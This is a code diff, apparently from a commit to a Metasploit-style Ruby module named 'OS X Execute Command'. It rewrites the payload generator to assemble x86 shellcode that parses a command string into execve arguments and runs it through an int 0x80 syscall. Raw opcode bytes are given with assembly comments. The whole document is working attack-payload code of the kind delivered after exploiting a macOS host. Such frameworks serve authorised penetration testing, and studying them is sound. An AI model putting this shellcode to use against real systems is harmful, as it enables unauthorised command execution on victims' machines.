@@ -26,31 +26,73 @@ def initialize(info = {})
26
26
super ( merge_info ( info ,
27
27
'Name' => 'OS X Execute Command' ,
28
28
'Description' => 'Execute an arbitrary command' ,
29
- 'Author' => [ 'snagg <snagg[at]openssl.it>' , 'argp <argp[at]census-labs.com>' ] ,
29
+ 'Author' =>
30
+ [
31
+ 'snagg <snagg[at]openssl.it>' ,
32
+ 'argp <argp[at]census-labs.com>' ,
33
+ 'joev <jvennix[at]rapid7.com>'
34
+ ] ,
30
35
'License' => BSD_LICENSE ,
31
36
'Platform' => 'osx' ,
32
- 'Arch' => ARCH_X86 ) )
37
+ 'Arch' => ARCH_X86
38
+ ) )
33
39
34
- # Register exec options
35
40
register_options (
36
41
[
37
42
OptString . new ( 'CMD' , [ true , "The command string to execute" ] ) ,
38
- ] , self . class )
43
+ ] , self . class
44
+ )
39
45
end
40
46
41
47
#
42
48
# Dynamically builds the exec payload based on the user's options.
43
49
#
44
50
def generate_stage
45
- cmd = datastore [ 'CMD' ] || ''
46
- len = cmd . length + 1
47
- payload =
48
- "\x31 \xc0 \x50 " +
49
- Rex ::Arch ::X86 . call ( len ) + cmd +
50
- "\x00 \x5e \x89 \xe7 \xb9 " + Rex ::Arch ::X86 . pack_word ( len ) +
51
- "\x00 \x00 \xfc \xf2 \xa4 \x89 \xe3 \x50 " +
52
- "\x50 \x53 \xb0 \x3b \x50 \xcd \x80 "
51
+ cmd_str = datastore [ 'CMD' ] || ''
52
+ # Split the cmd string into arg chunks
53
+ cmd_parts = Shellwords . shellsplit ( cmd_str )
54
+ # the non-exe-path parts of the chunks need to be reversed for execve
55
+ cmd_parts = ( [ cmd_parts . first ] + ( cmd_parts [ 1 ..-1 ] || [ ] ) . reverse ) . compact
56
+ arg_str = cmd_parts . map { |a | "#{ a } \x00 " } . join
53
57
54
- end
58
+ payload = ''
59
+
60
+ # Stuff an array of arg strings into memory
61
+ payload << "\x31 \xc0 " # xor eax, eax (eax => 0)
62
+ payload << Rex ::Arch ::X86 . call ( arg_str . length ) # jmp over CMD_STR, stores &CMD_STR on stack
63
+ payload << arg_str
64
+ payload << "\x5B " # pop ebx (ebx => &CMD_STR)
65
+
66
+ # now EBX contains &cmd_parts[0], the exe path
67
+ if cmd_parts . length > 1
68
+ # Build an array of pointers to arguments
69
+ payload << "\x89 \xD9 " # mov ecx, ebx
70
+ payload << "\x50 " # push eax; null byte (end of array)
71
+ payload << "\x89 \xe2 " # mov edx, esp (EDX points to the end-of-array null byte)
72
+
73
+ cmd_parts [ 1 ..-1 ] . each_with_index do |arg , idx |
74
+ l = [ cmd_parts [ idx ] . length +1 ] . pack ( 'V' )
75
+ # can probably save space here by doing the loop in ASM
76
+ # for each arg, push its current memory location on to the stack
77
+ payload << "\x81 \xC1 " # add ecx, ...
78
+ payload << l # (cmd_parts[idx] is the prev arg)
79
+ payload << "\x51 " # push ecx (&cmd_parts[idx])
80
+ end
55
81
82
+ payload << "\x53 " # push ebx (&cmd_parts[0])
83
+ payload << "\x89 \xe1 " # mov ecx, esp (ptr to ptr to first str)
84
+ payload << "\x52 " # push edx
85
+ payload << "\x51 " # push ecx
86
+ else
87
+ # pass NULL args array to execve() call
88
+ payload << "\x50 \x50 " # push eax, push eax
89
+ end
90
+
91
+ payload << "\x53 " # push ebx
92
+ payload << "\xb0 \x3b " # mov al, 0x3b (execve)
93
+ payload << "\x50 " # push eax
94
+ payload << "\xcd \x80 " # int 0x80 (triggers execve syscall)
95
+
96
+ payload
97
+ end
56
98
end
0 commit comments